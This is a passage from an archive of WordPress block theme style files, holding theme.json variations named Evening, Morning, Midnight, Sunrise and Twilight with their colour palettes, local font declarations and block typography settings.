"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "1.5rem",
"letterSpacing": "-0.24px",
"lineHeight": "1.3"
},
"blocks": {
"core/navigation": {
"typography": {
"fontSize": "1.25rem"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "400"
}
},
"core/post-title": {
"typography": {
"fontWeight": "800",
"letterSpacing": "-0.96px"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "var:preset|font-size|x-large",
"letterSpacing": "-0.76px",
"fontWeight": "800"
},
"elements": {
"cite": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "400",
"letterSpacing": "-0.14px"
}
}
}
},
"core/quote": {
"typography": {
"fontSize": "1.5rem",
"fontWeight": "600",
"letterSpacing": "-0.24px"
},
"elements": {
"cite": {
"typography": {
"letterSpacing": "-0.14px"
}
}
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "30px",
"fontWeight": "800",
"letterSpacing": "-0.6px"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontSize": "1.5rem",
"fontWeight": "800"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"fontWeight": "800"
}
}
},
"variations": {
"post-terms-1": {
"typography": {
"fontSize": "16px"
}
}
}
}
}
styles/01-evening.json 0000666 00000004437 15172262366 0010661 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Evening",
"settings": {
"color": {
"palette": [
{
"color": "#1B1B1B",
"name": "Base",
"slug": "base"
},
{
"color": "#F0F0F0",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#786D0A",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#442369",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#D1D0EA",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#CBCBCB",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#353535",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#FFFFFF33",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"blocks": {
"core/button": {
"variations": {
"outline": {
"spacing": {
"padding": {
"bottom": "0.6rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "0.6rem"
}
}
}
}
}
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)",
"text": "var:preset|color|base"
}
},
"spacing": {
"padding": {
"bottom": "0.6rem",
"left": "1.6rem",
"right": "1.6rem",
"top": "0.6rem"
}
}
}
},
"variations": {
"section-2": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-4": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
}
}
}
}
}
}
styles/06-morning.json 0000666 00000024556 15172262366 0010710 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Morning",
"settings": {
"color": {
"palette": [
{
"color": "#DFDCD7",
"name": "Base",
"slug": "base"
},
{
"color": "#191919",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#7A9BDB",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#F7E6FF",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#182949",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#D7D3CC",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#19191933",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontFamilies": [
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
},
{
"name": "Ysabeau Office",
"slug": "ysabeau-office",
"fontFamily": "\"Ysabeau Office\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "normal",
"fontFamily": "\"Ysabeau Office\""
},
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "italic",
"fontFamily": "\"Ysabeau Office\""
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "2rem",
"min": "1.75rem"
},
"name": "Extra Large",
"size": "1.75rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.6rem",
"min": "1.4rem"
},
"name": "Extra Extra Large",
"size": "2.6rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-4"
},
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"letterSpacing": "-0.24px"
},
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-5"
}
},
"core/navigation": {
"typography": {
"fontSize": "1.25rem"
}
},
"core/paragraph": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-author-name": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-title": {
"typography": {
"fontWeight": "900",
"letterSpacing": "-0.96px"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|contrast"
},
"typography": {
"fontSize": "var:preset|font-size|xx-large"
},
"elements": {
"cite": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.14px"
},
"color": {
"text": "var:preset|color|accent-4"
}
}
}
},
"core/quote": {
"elements": {
"cite": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.14px"
},
"color": {
"text": "var:preset|color|accent-4"
}
}
}
},
"core/query-title": {
"typography": {
"fontWeight": "900"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"textTransform": "uppercase",
"letterSpacing": "1.6px"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "900",
"letterSpacing": "-0.36px"
},
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-1"
},
"border": {
"radius": "0px"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)",
"text": "var:preset|color|contrast"
}
}
},
"heading": {
"color": {
"text": "var:preset|color|contrast"
},
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "900",
"lineHeight": "1.2"
}
},
"h5": {
"typography": {
"letterSpacing": "0px"
}
},
"h6": {
"typography": {
"fontWeight": "900",
"letterSpacing": "0px"
}
},
"link": {
"color": {
"text": "currentColor"
}
}
},
"variations": {
"post-terms-1": {
"typography": {
"fontSize": "var:preset|font-size|medium"
},
"elements": {
"link": {
"color": {
"background": "var:preset|color|accent-5"
},
"border": {
"radius": "100px",
"color": "var:preset|color|accent-5"
}
}
}
},
"section-2": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)"
}
}
}
}
},
"section-3": {
"elements": {
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)"
}
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)",
"text": "var:preset|color|contrast"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-5": {
"elements": {
"heading": {
"color": {
"text": "var:preset|color|base"
}
},
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/08-midnight.json 0000666 00000031776 15172262366 0011046 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Midnight",
"settings": {
"color": {
"duotone": [
{
"colors": [
"#4433A6",
"#79F3B1"
],
"name": "Midnight filter",
"slug": "midnight-filter"
}
],
"palette": [
{
"color": "#4433A6",
"name": "Base",
"slug": "base"
},
{
"color": "#79F3B1",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#5644BC",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#372696",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#251D51",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#79F3B1",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#E8B7FF",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#79F3B133",
"name": "Accent 6",
"slug": "accent-6"
}
]
},
"typography": {
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.9rem",
"slug": "small"
},
{
"fluid": {
"max": "1.2rem",
"min": "0.9rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.2rem"
},
"name": "Large",
"size": "1.2rem",
"slug": "large"
},
{
"fluid": {
"max": "2.2rem",
"min": "1.8rem"
},
"name": "Extra Large",
"size": "1.8rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.8rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
],
"fontFamilies": [
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
},
{
"name": "Fira Sans",
"slug": "fira-sans",
"fontFamily": "\"Fira Sans\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Thin.woff2"
],
"fontWeight": "100",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ThinItalic.woff2"
],
"fontWeight": "100",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Italic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
}
]
}
]
}
},
"styles": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"fontFamily": "var:preset|font-family|fira-sans",
"letterSpacing": "-0.01em",
"lineHeight": "1.5"
},
"blocks": {
"core/avatar": {
"filter": {
"duotone": "var:preset|duotone|midnight-filter"
}
},
"core/button": {
"variations": {
"outline": {
"spacing": {
"padding": {
"bottom": "1rem",
"left": "1rem",
"right": "1rem",
"top": "1rem"
}
}
}
}
},
"core/code": {
"color": {
"background": "var:preset|color|accent-2",
"text": "var:preset|color|contrast"
}
},
"core/cover": {
"filter": {
"duotone": "var:preset|duotone|midnight-filter"
}
},
"core/image": {
"filter": {
"duotone": "var:preset|duotone|midnight-filter"
}
},
"core/post-date": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-featured-image": {
"filter": {
"duotone": "var:preset|duotone|midnight-filter"
}
},
"core/post-title": {
"typography": {
"fontWeight": "200"
}
},
"core/pullquote": {
"border": {
"bottom": {
"style": "none",
"width": "0px"
},
"left": {
"style": "none",
"width": "0px"
},
"right": {
"style": "none",
"width": "0px"
},
"top": {
"style": "none",
"width": "0px"
}
},
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "200",
"letterSpacing": "0em"
}
},
"core/query-pagination": {
"typography": {
"fontWeight": "300",
"letterSpacing": "0px"
}
},
"core/quote": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.01em",
"lineHeight": "1.5",
"fontWeight": "300"
}
},
"core/search": {
"border": {
"radius": "0px"
}
},
"core/site-logo": {
"filter": {
"duotone": "var:preset|duotone|midnight-filter"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|x-large",
"fontWeight": "300",
"letterSpacing": "-0.56px",
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"border": {
"radius": "0px"
},
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
"spacing": {
"padding": {
"bottom": "1rem",
"left": "1rem",
"right": "1rem",
"top": "1rem"
}
},
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "400",
"letterSpacing": "-0.01em",
"textTransform": "uppercase"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)"
}
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "200",
"letterSpacing": "-0.02em",
"lineHeight": "1.24"
}
},
"h6": {
"typography": {
"fontWeight": "200"
}
}
},
"variations": {
"section-1": {
"color": {
"text": "var:preset|color|accent-3"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|accent-5"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|accent-5"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-5",
"text": "var:preset|color|accent-3"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-5) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/colors/07-sunrise.json 0000666 00000012364 15172262366 0012223 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Sunrise",
"settings": {
"color": {
"palette": [
{
"color": "#330616",
"name": "Base",
"slug": "base"
},
{
"color": "#FFFFFF",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#F0FDA6",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#DB9AB1",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#C1E4E7",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#DB9AB1",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#4A1628",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#DB9AB133",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"color": {
"text": "var:preset|color|accent-2"
},
"blocks": {
"core/code": {
"color": {
"text": "var:preset|color|accent-2",
"background": "var:preset|color|accent-5"
}
},
"core/post-author-name": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-terms": {
"color": {
"text": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
}
},
"core/post-title": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/pullquote": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"cite": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/quote": {
"color": {
"text": "var:preset|color|accent-2"
},
"elements": {
"cite": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
},
"core/site-title": {
"elements": {
"link": {
"color": {
"text": "var:preset|color|accent-2"
}
}
}
}
},
"elements": {
"button": {
"color": {
"text": "var:preset|color|base",
"background": "var:preset|color|accent-2"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
},
"link": {
"color": {
"text": "var:preset|color|contrast"
}
}
},
"variations": {
"post-terms-1": {
"elements": {
"link": {
"color": {
"background": "var:preset|color|accent-5"
},
"border": {
"color": "var:preset|color|accent-5"
}
}
}
},
"section-1": {
"color": {
"text": "var:preset|color|accent-5",
"background": "var:preset|color|contrast"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-3": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-4": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|contrast"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 85%, transparent)"
}
}
}
}
},
"section-5": {
"color": {
"text": "var:preset|color|contrast",
"background": "var:preset|color|accent-5"
},
"elements": {
"heading": {
"color": {
"text": "currentColor"
}
},
"link": {
"color": {
"text": "currentColor"
}
},
"button": {
"color": {
"background": "var:preset|color|contrast",
"text": "var:preset|color|base"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)",
"text": "var:preset|color|base"
}
}
}
}
}
}
}
}
styles/colors/05-twilight.json 0000666 00000002424 15172262366 0012360 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Twilight",
"settings": {
"color": {
"palette": [
{
"color": "#131313",
"name": "Base",
"slug": "base"
},
{
"color": "#FFFFFF",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#4B52FF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#FF7A5C",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#252525",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#FFFFFF",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#252525",
"name": "Accent 5",
"slug": "accent-5"
},
{
"color": "#FFFFFF33",
"name": "Accent 6",
"slug": "accent-6"
}
]
}
},
"styles": {
"variations": {
"section-2": {
"color": {
"text": "var:preset|color|base"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|base",
"text": "var:preset|color|accent-2"
},
":hover": {
"color": {
"text": "var:preset|color|accent-2"
}
}
},
"link": {
"color": {
"text": "currentColor"
}
}
}
}
}
}
}
styles/colors/03-dusk.json 0000666 00000011322 15172262366 0011466 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/theme.json",
"version": 3,
"title": "Dusk",
"settings": {
"color": {
"palette": [
{
"color": "#E2E2E2",
"name": "Base",
"slug": "base"
},
{
"color": "#3B3B3B",
"name": "Contrast",
"slug": "contrast"
},
{
"color": "#F5EDFF",
"name": "Accent 1",
"slug": "accent-1"
},
{
"color": "#650DD4",
"name": "Accent 2",
"slug": "accent-2"
},
{
"color": "#191919",
"name": "Accent 3",
"slug": "accent-3"
},
{
"color": "#5F5F5F",
"name": "Accent 4",
"slug": "accent-4"
},
{
"color": "#DBDBDB",
"name": "Accent 5",
"slug": "accent-5"
},
{
